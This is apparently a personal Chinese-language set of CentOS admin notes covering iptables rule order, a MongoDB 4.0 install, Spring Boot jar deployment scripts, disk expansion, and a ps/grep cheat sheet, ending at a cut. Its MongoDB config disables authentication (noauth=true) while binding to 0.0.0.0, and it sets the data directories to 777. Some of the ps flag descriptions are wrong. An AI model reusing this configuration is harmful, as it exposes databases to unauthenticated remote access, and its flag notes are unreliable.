因为centos7自带的防火墙已经不是iptables了,改成了firewalld,所以不用下面的这种方法解决

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Generated by iptables-save v1.4.7 on Tue Aug 20 10:09:45 2019
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [19:1438]
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 20001 -j ACCEPT
-A INPUT -j REJECT --reject-with icmp-host-prohibited
-A FORWARD -j REJECT --reject-with icmp-host-prohibited
COMMIT
# Completed on Tue Aug 20 10:09:45 2019

注意这一行-A INPUT -j REJECT --reject-with icmp-host-prohibited,如果我们添加的规则在这行之下那么就不会生效

解决办法:在-A INPUT -j REJECT --reject-with icmp-host-prohibited之前加入我们的规则即可

如果防火墙放行了端口,但是仍然访问不到的话,可能是因为添加规则的时候,用的是iptables -A 选项,这样,增加的规则会排列在 第6条 规则后面,虽然service iptables status显示放行了端口,但是实际上,由于第六条规则的原因,新增加的这条并没有起作用。

改为使用iptables -I 插入规则即可,将规则添加到 第6条 之前,就可以生效了。

但是当我执行service iptables status命令时出现如下错误:

1
2
Redirecting to /bin/systemctl status iptables.service
Unit iptables.service could not be found.

原因是没有安装iptables-services

https://blog.csdn.net/y368769/article/details/104490697/

安装MongoDB

https://www.jianshu.com/p/994bc7b19b26

https://www.cnblogs.com/xiaoyaojinzhazhadehangcheng/p/12156597.html

1.解压

1
tar -zxvf /home/binbin/mongodb-linux-x86_64-4.0.0.tgz -C /usr/local/

之后装的时候把文件目录改个名,因为之后要有很多关于这个目录的配置

1
2
[root@VM-4-12-centos ~]# cd /usr/local
[root@VM-4-12-centos local]# mv mongodb-linux-x86_64-4.0.0/ mongodb

2.修改配置文件

1
vim /etc/profile

在 export PATH USER LOGNAME MAIL HOSTNAME HISTSIZE HISTCONTROL 一行的上面添加如下内容:

1
2
#set mongodb
export PATH=/usr/local/mongodb-linux-x86_64-4.0.0/bin:$PATH

使环境变量生效

1
source /etc/profile

3.创建数据库目录

1
2
3
4
5
6
$ cd /usr/local/mongodb
$ touch mongodb.conf
$ mkdir db
$ mkdir log
$ cd log
$ touch mongodb.log

4.修改mongodb配置文件

1
vim /usr/local/mongodb/mongodb.conf

添加以下内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
port=27017 #端口
dbpath= /usr/local/mongodb/db #数据库存文件存放目录
logpath= /usr/local/mongodb/log/mongodb.log #日志文件存放路径
logappend=true #使用追加的方式写日志
fork=true #以守护进程的方式运行,创建服务器进程
maxConns=100 #最大同时连接数
noauth=true #不启用验证
journal=true #每次写入会记录一条操作日志(通过journal可以重新构造出写入的数据)。
#即使宕机,启动时wiredtiger会先将数据恢复到最近一次的checkpoint点,然后重放后续的journal日志来恢复。
storageEngine=wiredTiger  #存储引擎有mmapv1、wiretiger、mongorocks
bind_ip = 0.0.0.0  #这样就可外部访问了,例如从win10中去连虚拟机中的MongoDB

5.设置文件夹权限

1
2
3
$ cd /usr/local/mongodb
$ chmod 777 db
$ chmod 777 log

6.启动mongodb

1
mongod --config /usr/local/mongodb/mongodb.conf

7.安装完之后记得开放端口

部署项目

https://www.cnblogs.com/shu-java-net/p/13886242.html

1.Springboot 先打包成jar包

2.放到服务器上

1
nohup java -jar NettyAPI.jar &

nohup 意思是不挂断运行命令,当账户退出或终端关闭时,程序仍然运行,

当用 nohup 命令执行作业时,缺省情况下该作业的所有输出被重定向到nohup.out的文件中,除非另外指定了输出文件。

3.结束项目

1
ps -aux | grep java

image-20211026111713707

把这个端口kill掉

1
kill -s 9 4287

4.使用nginx:外网访问内网项目

1
nginx -s reload

.sh 自动启动

1、自己将项目(比如用springboot框架写的项目)打包成jar包,然后我们需要将它用软件传输到linux版本的服务器上(服务器提前安装好JDK>=1.8)。

2、自己编写sh命令,用于启动和关闭项目,并打印日志信息到服务器本地。

1)、start_项目名.sh文件

1
2
3
4
5
6
7
8
9
#For shutting down the 你的项目名.jar
pid=$(ps -ef | grep 你的项目名.jar| grep -v "grep" | awk '{print $2}')
kill -9 $pid
echo "The 你的项目名.jar now has been shut down!"
 
#For starting the 你的项目名.jar
nohup java -jar 你的项目名.jar >你的项目日志名.output 2>&1 &
echo "The 你的项目名.jar now is running!"
tailf  你的项目日志名.output

2)、shutdown_项目名.sh文件

1
2
3
4
#For shutting down the 你的项目名.jar
pid=$(ps -ef | grep 你的项目名.jar| grep -v "grep" | awk '{print $2}')
kill -9 $pid
echo "The 你的项目名.jar now has been shut down!"

3、将你的项目jar包、start_项目名.sh、shutdown_项目名.sh放在服务器的某一个文件夹下(他三个处于同一个目录),此时,可以用控制台启动和关闭项目了。

4、写完之后放到服务器上面要转换换行符

https://blog.csdn.net/li_1303999/article/details/93159197

文件下载

使用

sz hadoop-mapreduce-examples-3.1.3.jar

安装

yum install -y lrzsz

虚拟机扩容

https://blog.csdn.net/cc1949/article/details/89918775

安装gparted

1
yum install gparted

打开gparted

1
sudo gparted

按照上述操作之后, df -h 还是没有变化

image-20220516155217528

输入 lsblk 发现分区并没有分完,虽然增加到sda2,但是每增加带centos-root中

image-20220516155241874

把用gparted划分的空间撤回,重新进行分区操作:

https://blog.csdn.net/Akari0216/article/details/108944111

https://zhuanlan.zhihu.com/p/450057653

扩容之后

image-20220516162422591

==更新UUID值==

https://blog.csdn.net/Chen_qi_hai/article/details/108814596

查看mongodb安装路径

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#方法一
find / -name mongodb

#方法二

locate mongodb

#方法三

whereis mongodb

#方法四

which mongodb

命令行注解

ps

1)ps -a 显示现行终端机下的所有程序,包括其他用户的程序。

2)ps -A 显示所有程序。

3)ps -c 列出程序时,显示每个程序真正的指令名称,而不包含路径,参数或常驻服务的标示。

4)ps -e 此参数的效果和指定"A"参数相同。

5)ps -e 列出程序时,显示每个程序所使用的环境变量。

6)ps -f 用ASCII字符显示树状结构,表达程序间的相互关系。

7)ps -H 显示树状结构,表示程序间的相互关系。

8)ps -N 显示所有的程序,除了执行ps指令终端机下的程序之外。

9)ps -s 采用程序信号的格式显示程序状况。

10)ps - S 列出程序时,包括已中断的子程序资料。

11)ps -t <终端机编号>指定终端机编号,并列出属于该终端机的程序的状况。

12)ps -u username

grep

用于查找文件里符合条件的字符串

管道符号 |

用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2

sed

参数说明:

  • -i:使 sed 修改文件
  • -e